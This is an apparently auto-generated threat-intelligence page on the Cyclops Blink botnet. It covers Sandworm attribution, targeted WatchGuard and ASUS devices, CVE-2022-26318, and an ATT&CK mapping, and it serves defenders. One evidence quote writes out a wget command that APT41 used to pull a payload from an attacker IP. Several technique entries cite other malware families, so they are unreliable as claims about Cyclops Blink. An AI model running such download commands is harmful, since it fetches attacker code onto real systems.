Skip to main content
Live Webinar with SANS (June 25)— Agentic CTI Automation for Fun & ProfitRegister Free
Mallory
Back to malware
MalwareUsed by 1 actorExploits 1 CVE

Cyclops Blink

Cyclops Blink is a modular Linux ELF malware and botnet associated with Sandworm, the Russian GRU-linked threat actor, and is widely described as the successor to VPNFilter. Public reporting states it emerged as early as June 2019 and was publicly identified in a February 23, 2022 joint advisory from the UK NCSC, CISA, FBI, and NSA. It targets network devices, specifically including WatchGuard firewall appliances/FireBox devices and ASUS routers, and has infected thousands of devices worldwide. The malware is compiled for 32-bit x86 and PowerPC architectures and consists of a core component plus modules launched as child processes via the Linux fork API.

Documented capabilities include downloading files and additional modules over HTTP and HTTPS, executing received modules, uploading exfiltrated files to command-and-control servers, gathering system information, and self-updating. Cyclops Blink can encrypt C2 traffic using AES-256-CBC under TLS, with per-message random keys and IVs encrypted using a hard-coded RSA public key, and it has also used Tor nodes for C2 traffic. It can use non-standard ports for C2, create pipes for inter-process communication, and rename its running process to "[kworker:0/1]" to masquerade as a Linux kernel thread. For defense evasion and persistence-related activity, it can use the Linux utime API to alter timestamps of modified firmware update images; reporting also describes the malware as highly persistent and reliant on firmware manipulation.

Operationally, compromise of perimeter network devices gives operators potential access into victim networks. Public reporting and U.S. government actions describe Cyclops Blink as a two-tiered global botnet used by Sandworm, with command-and-control infrastructure hosted on compromised internet-connected firewall devices. In March 2022, the U.S. Department of Justice conducted a court-authorized disruption operation that removed Cyclops Blink malware from identified C2 devices and closed external management ports used by Sandworm, severing control over infected bots. High-confidence references in the content include the malware’s association with Sandworm, targeting of WatchGuard and ASUS devices, HTTP/HTTPS and Tor-based C2, AES/TLS/RSA-protected communications, file download/upload and exfiltration capability, process masquerading, IPC via pipes, and timestamp manipulation of firmware images.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

EXPLOITED CVES

Vulnerabilities exploited

1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

1 CVES
CVE-2022-26318Unauthenticated RCE in WatchGuard Firebox/XTM wgagent XML-RPC endpointExploited in the wild

CVE-2022-26318 appears to be related to Cyclops Blinked, Sandworm’s VPNFilter 2.0 which was recently unmasked by CISA, NSA, NCSC UK, and the FBI. | On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code, aka FBX-22786. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.

via attackerkbattackerkb.com
THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Sandworm

CVE-2022-26318 appears to be related to Cyclops Blinked, Sandworm’s VPNFilter 2.0 which was recently unmasked by CISA, NSA, NCSC UK, and the FBI.

via attackerkbattackerkb.com
MITRE ATT&CK

Techniques & procedures

25 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

2 techniques
T1584Compromise InfrastructureEvidence1

Cyclops Blink, originally discovered in late February, was found attacking firewall appliances from WatchGuard Technologies and routers from Asus to attack users.

T1584.005BotnetEvidence2

The Justice Department today announced a court-authorized operation, conducted in March 2022, to disrupt a two-tiered global botnet of thousands of infected network hardware devices under the control of a threat actor known to security researchers as Sandworm.

Initial Access

2 techniques
T1133External Remote ServicesEvidence1

It also closed the external management ports that Sandworm was using to access those C2 devices, as recommended in WatchGuard’s remediation guidance.

T1190Exploit Public-Facing ApplicationEvidence1

Victims Must Take Additional Steps to Remediate the Vulnerability and Prevent Malicious Actors From Further Exploiting Unpatched Devices.

Execution

1 technique
T1106Native APIEvidence1

"Akira examines files prior to encryption ... These checks are performed through native Windows functions such as GetFileAttributesW." Also, "Cyclops Blink can use the Linux API statvfs to enumerate the current working directory."

Persistence

2 techniques
T1133External Remote ServicesEvidence1

It also closed the external management ports that Sandworm was using to access those C2 devices, as recommended in WatchGuard’s remediation guidance.

T1542.001System FirmwareEvidence1

In February, security researchers discovered that Sandworm was the group responsible for creating and operating the Cyclops Blink botnet, a highly persistent malware relying on firmware manipulation.

Stealth

8 techniques
T1036MasqueradingEvidence2

During the 2016 Ukraine Electric Power Attack, DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files.

T1036.004Masquerade Task or ServiceEvidence1

RedCurl mimicked legitimate file names and scheduled tasks, e.g. MicrosoftCurrentupdatesCheck and MdMMaintenenceTask to mask malicious files and scheduled tasks.

T1036.005Match Legitimate Resource Name or LocationEvidence1

Akira has used legitimate names and locations for files to evade defenses.

T1036.009Break Process TreesEvidence1

Cyclops Blink can rename its running process to [kworker:0/1] to masquerade as a Linux kernel thread.

T1036.011Overwrite Process ArgumentsEvidence1

J-magic can rename itself as "[nfsiod 0]" to masquerade as the local Network File System (NFS) asynchronous I/O server.

T1070.006TimestompEvidence1

APT28 has performed timestomping on victim files. APT29 has used timestomping to alter the Standard Information timestamps on their web shells to match other files in the same directory. APT32 has used scheduled task raw XML with a backdated timestamp... APT38 has modified data timestamps to mimic files that are in the same folder on a compromised host.

T1140Deobfuscate/Decode Files or InformationEvidence4

The content repeatedly describes malware and threat actors decoding, decrypting, deobfuscating, or unpacking payloads, strings, configuration data, commands, and C2 responses prior to execution or use.

T1542.001System FirmwareEvidence1

In February, security researchers discovered that Sandworm was the group responsible for creating and operating the Cyclops Blink botnet, a highly persistent malware relying on firmware manipulation.

Discovery

4 techniques
T1016System Network Configuration DiscoveryEvidence3

The content repeatedly describes malware and threat actors using commands and APIs such as ipconfig /all, ifconfig, arp -a, route print, nbtstat, netsh, GetAdaptersInfo, and GetIpNetTable to gather IP addresses, MAC addresses, DNS, DHCP, gateways, routing tables, ARP cache, proxy settings, domains, and network adapter/interface details.

T1057Process DiscoveryEvidence2

The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.

T1082System Information DiscoveryEvidence3

The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."

T1083File and Directory DiscoveryEvidence3

The content repeatedly describes malware and threat actors listing files and directories, enumerating drives, searching for files by extension/name/path, retrieving file metadata, and browsing file systems (for example: "APT28 has used Forfiles to locate PDF, Excel, and Word documents during collection" and "cmd can be used to find files and directories with native functionality such as dir commands").

Command and Control

6 techniques
T1071Application Layer ProtocolEvidence2

The operation copied and removed malware from vulnerable internet-connected firewall devices that Sandworm used for command and control (C2) of the underlying botnet.

T1071.001Web ProtocolsEvidence5

The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.

T1090.003Multi-hop ProxyEvidence2

During the 2025 Poland Wiper Attacks, the adversaries utilized Tor nodes for C2. APT28 has routed traffic over Tor and VPN servers to obfuscate their activities. A backdoor used by APT29 created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.

T1105Ingress Tool TransferEvidence5

Examples include: "APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits," "During C0017, APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads," and multiple malware families "use HTTP GET requests" or similar to download files/payloads.

T1573Encrypted ChannelEvidence1

The content repeatedly describes malware and threat actors using SSL, TLS, HTTPS, RSA, AES, Blowfish, RC4, ECIES, Diffie-Hellman, OpenSSL, WolfSSL, and mutual TLS to protect command and control traffic.

T1573.002Asymmetric CryptographyEvidence1

Examples include: "encrypt C2 messages with AES-256-CBC sent underneath TLS", "encrypts C2 traffic with AES and RSA", "uses SSL/TLS and RC4", and "BlowFish algorithm". | Examples include: "encrypts some C2 with RSA", "RSA encryption for C2 communications", "hard-coded RSA public key", "RSA-2048", "RSA-4096", and "REvil has encrypted C2 communications with the ECIES algorithm". | Multiple malware families and intrusion sets are described as encrypting C2 traffic using SSL/TLS/HTTPS (e.g., "used HTTPS for command and control", "encrypts C2 communications with TLS", "uses SSL for encrypting C2 communications", "TLS-encrypted WebSocket Protocol (WSS) for C2").

Exfiltration

2 techniques
T1041Exfiltration Over C2 ChannelEvidence4

Many entries state malware or actors can upload, transfer, send, or exfiltrate files from compromised hosts to command-and-control servers or attacker infrastructure.

T1048.003Exfiltration Over Unencrypted Non-C2 ProtocolEvidence1

Final Thoughts ... Why would an attacker that had achieved RCE on a system exfiltrate an entire configuration file? ... Exfiltration via TFTP is just an odd choice.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities1

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping25

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.